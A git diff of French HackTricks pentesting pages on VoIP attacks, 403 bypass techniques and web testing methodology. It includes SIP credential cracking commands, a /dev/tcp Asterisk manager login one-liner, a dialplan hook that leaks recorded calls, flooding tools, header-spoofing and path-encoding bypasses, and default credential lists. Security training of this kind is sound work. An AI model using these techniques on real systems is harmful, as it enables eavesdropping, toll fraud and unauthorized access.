* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
|
|
|
@ -1,23 +1,23 @@
|
|||
# Pentesting VoIP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## Informations de base sur VoIP
|
||||
|
||||
Pour commencer à apprendre comment fonctionne la VoIP, consultez :
|
||||
Pour commencer à apprendre comment fonctionne VoIP, consultez :
|
||||
|
||||
{% content-ref url="basic-voip-protocols/" %}
|
||||
[basic-voip-protocols](basic-voip-protocols/)
|
||||
|
@ -321,7 +321,7 @@ Il en sera de même si **SRTP** et **ZRTP** sont utilisés, les **paquets RTP ne
|
|||
|
||||
[Consultez cet exemple pour mieux comprendre une **communication SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) pour apprendre comment les **identifiants sont envoyés**.
|
||||
|
||||
* **`sipdump`** & **`sipcrack`,** partie de **sipcrack** (`apt-get install sipcrack`): Ces outils peuvent **extraire** d'un **pcap** les **authentifications digestes** au sein du protocole SIP et les **bruteforcer**.
|
||||
* **`sipdump`** & **`sipcrack`,** partie de **sipcrack** (`apt-get install sipcrack`): Ces outils peuvent **extraire** d'un **pcap** les **authentifications digest** au sein du protocole SIP et les **bruteforcer**.
|
||||
```bash
|
||||
sipdump -p net-capture.pcap sip-creds.txt
|
||||
sipcrack sip-creds.txt -w dict.txt
|
||||
|
@ -341,7 +341,7 @@ sippts tshark -f capture.pcap [-filter auth]
|
|||
#### Codes DTMF
|
||||
|
||||
**Non seulement les identifiants SIP** peuvent être trouvés dans le trafic réseau, il est également possible de trouver des codes DTMF qui sont utilisés par exemple pour accéder à la **messagerie vocale**.\
|
||||
Il est possible d'envoyer ces codes dans des **messages SIP INFO**, dans de l'**audio** ou à l'intérieur de **paquets RTP**. Si les codes se trouvent à l'intérieur des paquets RTP, vous pourriez couper cette partie de la conversation et utiliser l'outil multimo pour les extraire :
|
||||
Il est possible d'envoyer ces codes dans des **messages SIP INFO**, dans **l'audio** ou à l'intérieur des **paquets RTP**. Si les codes se trouvent à l'intérieur des paquets RTP, vous pourriez couper cette partie de la conversation et utiliser l'outil multimo pour les extraire :
|
||||
```bash
|
||||
multimon -a DTMF -t wac pin.wav
|
||||
```
|
||||
|
@ -413,7 +413,7 @@ De plus, par défaut, le fichier **`sip.conf`** contient **`allowguest=true`**,
|
|||
|
||||
* **`SIPPTS invite`** de [**sippts**](https://github.com/Pepelux/sippts)**:** L'invitation SIPPTS vérifie si un **serveur PBX nous permet de passer des appels sans authentification**. Si le serveur SIP a une configuration incorrecte, il nous permettra de passer des appels vers des numéros externes. Il peut également nous permettre de transférer l'appel vers un deuxième numéro externe.
|
||||
|
||||
Par exemple, si votre serveur Asterisk a une mauvaise configuration de contexte, vous pouvez accepter une demande INVITE sans autorisation. Dans ce cas, un attaquant peut passer des appels sans connaître aucun identifiant/mot de passe.
|
||||
Par exemple, si votre serveur Asterisk a une mauvaise configuration de contexte, vous pouvez accepter une demande INVITE sans autorisation. Dans ce cas, un attaquant peut passer des appels sans connaître d'utilisateur/mot de passe.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -434,7 +434,7 @@ IVRS dans les systèmes VoIP se compose généralement de :
|
|||
1. **Invitations vocales** : Messages audio préenregistrés qui guident les utilisateurs à travers les options et instructions du menu IVR.
|
||||
2. **DTMF** (Dual-Tone Multi-Frequency) signalisation : Entrées de tonalité générées en appuyant sur des touches du téléphone, qui sont utilisées pour naviguer dans les menus IVR et fournir des entrées.
|
||||
3. **Routage des appels** : Diriger les appels vers la destination appropriée, comme des départements spécifiques, des agents ou des extensions en fonction des entrées des utilisateurs.
|
||||
4. **Capture des entrées utilisateur** : Collecter des informations auprès des appelants, telles que des numéros de compte, des identifiants de cas ou toute autre donnée pertinente.
|
||||
4. **Capture des entrées des utilisateurs** : Collecter des informations auprès des appelants, telles que des numéros de compte, des identifiants de cas ou toute autre donnée pertinente.
|
||||
5. **Intégration avec des systèmes externes** : Connecter le système IVR à des bases de données ou à d'autres systèmes logiciels pour accéder ou mettre à jour des informations, effectuer des actions ou déclencher des événements.
|
||||
|
||||
Dans un système VoIP Asterisk, vous pouvez créer un IVR en utilisant le plan de numérotation (**`extensions.conf`** fichier) et diverses applications telles que `Background()`, `Playback()`, `Read()`, et plus encore. Ces applications vous aident à jouer des invitations vocales, à capturer les entrées des utilisateurs et à contrôler le flux des appels.
|
||||
|
@ -448,7 +448,7 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100)
|
|||
exten => 0,104,Dial(LOCAL/${numbers})
|
||||
```
|
||||
L'exemple précédent est un exemple où l'utilisateur est invité à **appuyer sur 1 pour appeler** un département, **2 pour appeler** un autre, ou **le numéro complet** s'il le connaît.\
|
||||
La vulnérabilité est le fait que la **longueur de l'extension indiquée n'est pas vérifiée, donc un utilisateur pourrait entrer le délai d'attente de 5 secondes d'un numéro complet et il sera appelé.**
|
||||
La vulnérabilité est le fait que la **longueur de l'extension indiquée n'est pas vérifiée, donc un utilisateur pourrait entrer le délai d'attente de 5 secondes un numéro complet et il sera appelé.**
|
||||
|
||||
### Injection d'extension
|
||||
|
||||
|
@ -470,7 +470,7 @@ Donc, un appel à l'extension **`101`** et **`123123123`** sera envoyé et seul
|
|||
|
||||
La vulnérabilité SIP Digest Leak affecte un grand nombre de téléphones SIP, y compris les téléphones IP matériels et logiciels ainsi que les adaptateurs téléphoniques (VoIP vers analogique). La vulnérabilité permet **la fuite de la réponse d'authentification Digest**, qui est calculée à partir du mot de passe. Une **attaque par mot de passe hors ligne est alors possible** et peut récupérer la plupart des mots de passe basés sur la réponse au défi.
|
||||
|
||||
**[Scénario de vulnérabilité ici**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
||||
**[Scénario de vulnérabilité d'ici**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
||||
|
||||
1. Un téléphone IP (victime) écoute sur n'importe quel port (par exemple : 5060), acceptant les appels téléphoniques
|
||||
2. L'attaquant envoie un INVITE au téléphone IP
|
||||
|
@ -503,7 +503,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
|
|||
```
|
||||
### Click2Call
|
||||
|
||||
Click2Call permet à un **utilisateur web** (qui par exemple pourrait être intéressé par un produit) de **fournir** son **numéro de téléphone** pour être rappelé. Ensuite, un commercial sera appelé, et quand il **répond au téléphone**, l'utilisateur sera **appelé et connecté avec l'agent**.
|
||||
Click2Call permet à un **utilisateur web** (qui par exemple pourrait être intéressé par un produit) de **fournir** son **numéro de téléphone** pour être appelé. Ensuite, un commercial sera appelé, et quand il **répond au téléphone**, l'utilisateur sera **appelé et connecté avec l'agent**.
|
||||
|
||||
Un profil Asterisk commun pour cela est :
|
||||
```scss
|
||||
|
@ -515,10 +515,10 @@ displayconnects = yes
|
|||
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
||||
write = system,call,agent,user,config,command,reporting,originate
|
||||
```
|
||||
* Le profil précédent permet à **N'IMPORTE QUEL ADRESSE IP de se connecter** (si le mot de passe est connu).
|
||||
* Le profil précédent permet à **N'IMPORTE QUEL adresse IP de se connecter** (si le mot de passe est connu).
|
||||
* Pour **organiser un appel**, comme spécifié précédemment, **aucune permission de lecture n'est nécessaire** et **seulement** **l'origine** en **écriture** est requise.
|
||||
|
||||
Avec ces permissions, n'importe quelle IP connaissant le mot de passe pourrait se connecter et extraire trop d'informations, comme :
|
||||
Avec ces permissions, n'importe quelle IP connaissant le mot de passe pourrait se connecter et extraire trop d'infos, comme :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -527,7 +527,7 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**Plus d'informations ou d'actions peuvent être demandées.**
|
||||
**Plus d'informations ou d'actions pourraient être demandées.**
|
||||
|
||||
### **Écoute clandestine**
|
||||
|
||||
|
@ -555,7 +555,7 @@ exten => h,1,System(/tmp/leak_conv.sh &)
|
|||
```
|
||||
### Vulnérabilité RTCPBleed
|
||||
|
||||
**RTCPBleed** est un problème de sécurité majeur affectant les serveurs VoIP basés sur Asterisk (publié en 2017). La vulnérabilité permet à **RTP (Real Time Protocol) traffic**, qui transporte les conversations VoIP, d'être **intercepté et redirigé par quiconque sur Internet**. Cela se produit parce que le trafic RTP contourne l'authentification lorsqu'il navigue à travers les pare-feu NAT (Network Address Translation).
|
||||
**RTCPBleed** est un problème de sécurité majeur affectant les serveurs VoIP basés sur Asterisk (publié en 2017). La vulnérabilité permet à **RTP (Real Time Protocol) traffic**, qui transporte les conversations VoIP, d'être **intercepté et redirigé par quiconque sur Internet**. Cela se produit parce que le trafic RTP contourne l'authentification lors de la navigation à travers les pare-feu NAT (Network Address Translation).
|
||||
|
||||
Les proxys RTP essaient de résoudre les **limitations NAT** affectant les systèmes RTC en proxyant les flux RTP entre deux parties ou plus. Lorsque le NAT est en place, le logiciel de proxy RTP ne peut souvent pas se fier aux informations IP et port RTP récupérées via le signalement (par exemple, SIP). Par conséquent, un certain nombre de proxys RTP ont mis en œuvre un mécanisme où un tel **tuplet IP et port est appris automatiquement**. Cela se fait souvent en inspectant le trafic RTP entrant et en marquant l'IP et le port source pour tout trafic RTP entrant comme ceux qui devraient être répondus. Ce mécanisme, qui peut être appelé "mode d'apprentissage", **ne fait pas usage d'aucun type d'authentification**. Par conséquent, **les attaquants** peuvent **envoyer du trafic RTP au proxy RTP** et recevoir le trafic RTP proxyé destiné à l'appelant ou au destinataire d'un flux RTP en cours. Nous appelons cette vulnérabilité RTP Bleed car elle permet aux attaquants de recevoir des flux médias RTP destinés à être envoyés à des utilisateurs légitimes.
|
||||
|
||||
|
@ -605,7 +605,7 @@ Si le serveur **interdit l'utilisation de certains caractères** dans la command
|
|||
* cela pourrait être utilisé pour créer un nouvel utilisateur mysql comme porte dérobée.
|
||||
* **`Elastix`**
|
||||
* **`Elastix.conf`** -> Contient plusieurs mots de passe en texte clair comme le mot de passe root mysql, le mot de passe IMAPd, le mot de passe admin web.
|
||||
* **Plusieurs dossiers** appartiendront à l'utilisateur asterisk compromis (s'il ne fonctionne pas en tant que root). Cet utilisateur peut lire les fichiers précédents et contrôle également la configuration, il pourrait donc faire en sorte qu'Asterisk charge d'autres binaires avec porte dérobée lorsqu'ils sont exécutés.
|
||||
* **Plusieurs dossiers** appartiendront à l'utilisateur asterisk compromis (s'il ne fonctionne pas en tant que root). Cet utilisateur peut lire les fichiers précédents et contrôle également la configuration, il pourrait donc faire en sorte qu'Asterisk charge d'autres binaires compromis lors de leur exécution.
|
||||
|
||||
### Injection RTP
|
||||
|
||||
|
@ -625,7 +625,7 @@ Il existe plusieurs façons d'essayer d'atteindre le DoS sur les serveurs VoIP.
|
|||
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Un outil pour effectuer un flooding de messages SIP/SDP INVITE sur UDP/IP.
|
||||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Envoie plusieurs paquets RTP bien formés. Il est nécessaire de connaître les ports RTP utilisés (sniffer d'abord).
|
||||
* [**SIPp**](https://github.com/SIPp/sipp): Permet d'analyser et de générer du trafic SIP. Il peut donc également être utilisé pour le DoS.
|
||||
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Couteau suisse SIP. Peut également être utilisé pour effectuer des attaques SIP.
|
||||
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Le couteau suisse SIP. Peut également être utilisé pour effectuer des attaques SIP.
|
||||
* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
|
||||
|
||||
### Vulnérabilités du système d'exploitation
|
||||
|
@ -647,7 +647,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -658,7 +658,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -17,7 +17,7 @@ Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, réseau et cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -35,7 +35,7 @@ Essayez d'utiliser **différents verbes** pour accéder au fichier : `GET, HEAD,
|
|||
|
||||
* **Changez l'en-tête Host** à une valeur arbitraire ([cela a fonctionné ici](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||||
* Essayez d'[**utiliser d'autres agents utilisateurs**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) pour accéder à la ressource.
|
||||
* **Fuzz des en-têtes HTTP** : Essayez d'utiliser les **en-têtes HTTP**, l'authentification HTTP de base et NTLM par force brute (avec quelques combinaisons seulement) et d'autres techniques. Pour faire tout cela, j'ai créé l'outil [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
|
||||
* **Fuzz des en-têtes HTTP** : Essayez d'utiliser les **en-têtes** du proxy HTTP, l'authentification HTTP de base et NTLM par force brute (avec quelques combinaisons seulement) et d'autres techniques. Pour faire tout cela, j'ai créé l'outil [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
|
||||
|
||||
* `X-Originating-IP: 127.0.0.1`
|
||||
* `X-Forwarded-For: 127.0.0.1`
|
||||
|
@ -60,12 +60,12 @@ Si le **chemin est protégé**, vous pouvez essayer de contourner la protection
|
|||
* **Fuzz des en-têtes HTTP spéciaux** tout en fuzzant **les méthodes HTTP**.
|
||||
* **Supprimez l'en-tête Host** et peut-être que vous pourrez contourner la protection.
|
||||
|
||||
## Fuzzing des chemins
|
||||
## **Fuzzing de chemin**
|
||||
|
||||
Si _/path_ est bloqué :
|
||||
|
||||
* Essayez d'utiliser _**/**_**%2e/path \_(si l'accès est bloqué par un proxy, cela pourrait contourner la protection). Essayez aussi**\_\*\* /%252e\*\*/path (double encodage URL)
|
||||
* Essayez le **contournement Unicode** : _/**%ef%bc%8f**path_ (Les caractères encodés en URL sont comme "/") donc lorsqu'ils sont réencodés, cela deviendra _//path_ et peut-être que vous aurez déjà contourné la vérification du nom _/path_
|
||||
* Essayez le **contournement Unicode** : _/**%ef%bc%8f**path_ (Les caractères encodés en URL sont comme "/") donc lorsqu'ils sont ré-encodés, cela deviendra _//path_ et peut-être que vous aurez déjà contourné la vérification du nom _/path_
|
||||
* **Autres contournements de chemin** :
|
||||
* site.com/secret –> HTTP 403 Forbidden
|
||||
* site.com/SECRET –> HTTP 200 OK
|
||||
|
@ -88,8 +88,8 @@ Si _/path_ est bloqué :
|
|||
* {“id”:\[111]} --> 200 OK
|
||||
* {“id”:111} --> 401 Non autorisé
|
||||
* {“id”:{“id”:111\}} --> 200 OK
|
||||
* {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (Pollution de paramètres JSON)
|
||||
* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Pollution de paramètres)
|
||||
* {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (Pollution de paramètre JSON)
|
||||
* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Pollution de paramètre)
|
||||
|
||||
## **Manipulation de paramètres**
|
||||
|
||||
|
@ -100,9 +100,9 @@ Si _/path_ est bloqué :
|
|||
* Utilisez des caractères spéciaux.
|
||||
* Effectuez des tests de limites dans les paramètres — fournissez des valeurs comme _-234_ ou _0_ ou _99999999_ (juste quelques valeurs d'exemple).
|
||||
|
||||
## **Version du protocole**
|
||||
## **Version de protocole**
|
||||
|
||||
Si vous utilisez HTTP/1.1 **essayez d'utiliser 1.0** ou même testez si cela **prend en charge 2.0**.
|
||||
Si vous utilisez HTTP/1.1 **essayez d'utiliser 1.0** ou même testez s'il **prend en charge 2.0**.
|
||||
|
||||
## **Autres contournements**
|
||||
|
||||
|
@ -111,10 +111,10 @@ Si vous utilisez HTTP/1.1 **essayez d'utiliser 1.0** ou même testez si cela **p
|
|||
* **Changez le protocole** : de http à https, ou de https à http
|
||||
* Allez sur [**https://archive.org/web/**](https://archive.org/web/) et vérifiez si dans le passé ce fichier était **accessible dans le monde entier**.
|
||||
|
||||
## **Brute Force**
|
||||
## **Force brute**
|
||||
|
||||
* **Devinez le mot de passe** : Testez les identifiants courants suivants. Savez-vous quelque chose sur la victime ? Ou le nom du défi CTF ?
|
||||
* [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Essayez l'authentification de base, digest et NTLM.
|
||||
* [**Force brute**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Essayez l'authentification de base, digest et NTLM.
|
||||
|
||||
{% code title="Identifiants courants" %}
|
||||
```
|
||||
|
@ -134,28 +134,28 @@ guest guest
|
|||
* [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
|
||||
* [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
|
||||
* [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
|
||||
* [Extension Burp - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
|
||||
* [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
|
||||
* [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
|
||||
* [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, réseau et cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -17,7 +17,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="../../.gitbook/assets/grte.png"
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -46,7 +46,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
## Méthodologie résumé
|
||||
|
||||
> Dans cette méthodologie, nous allons supposer que vous allez attaquer un domaine (ou sous-domaine) et uniquement cela. Vous devez donc appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le périmètre.
|
||||
> Dans cette méthodologie, nous allons supposer que vous allez attaquer un domaine (ou sous-domaine) et seulement cela. Donc, vous devriez appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le périmètre.
|
||||
|
||||
* [ ] Commencez par **identifier** les **technologies** utilisées par le serveur web. Recherchez des **astuces** à garder à l'esprit pendant le reste du test si vous pouvez identifier avec succès la technologie.
|
||||
* [ ] Y a-t-il des **vulnérabilités connues** de la version de la technologie ?
|
||||
|
@ -120,7 +120,7 @@ Quelques **astuces** pour **trouver des vulnérabilités** dans différentes **t
|
|||
* [**Electron Desktop (XSS à RCE)**](electron-desktop-apps/)
|
||||
|
||||
_Tenez compte du fait que le **même domaine** peut utiliser **différentes technologies** sur différents **ports**, **dossiers** et **sous-domaines**._\
|
||||
Si l'application web utilise une **tech/platform bien connue listée précédemment** ou **toute autre**, n'oubliez pas de **chercher sur Internet** de nouvelles astuces (et faites-le moi savoir !).
|
||||
Si l'application web utilise une **tech/platform bien connue listée précédemment** ou **une autre**, n'oubliez pas de **chercher sur Internet** de nouvelles astuces (et faites-le moi savoir !).
|
||||
|
||||
### Revue de code source
|
||||
|
||||
|
@ -262,7 +262,7 @@ Outils :
|
|||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- Rapide : `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python) : Ce n'est pas un spider mais un outil qui, étant donné la liste des URL trouvées, supprimera les URL "dupliquées".
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger) : Extension Burp pour créer une liste de répertoires à partir de l'historique Burp de différentes pages.
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger) : Extension Burp pour créer une liste de répertoires à partir de l'historique burp de différentes pages.
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor) : Supprime les URL avec des fonctionnalités dupliquées (basées sur les imports js).
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon) : Il utilise wapalyzer pour détecter les technologies utilisées et sélectionner les listes de mots à utiliser.
|
||||
|
||||
|
@ -297,14 +297,14 @@ _Notez que chaque fois qu'un nouveau répertoire est découvert lors du brute-fo
|
|||
* _Assetnote “parameters\_top\_1m” :_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de “params.txt” :_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **Commentaires :** Vérifiez les commentaires de tous les fichiers, vous pouvez trouver **des identifiants** ou **des fonctionnalités cachées**.
|
||||
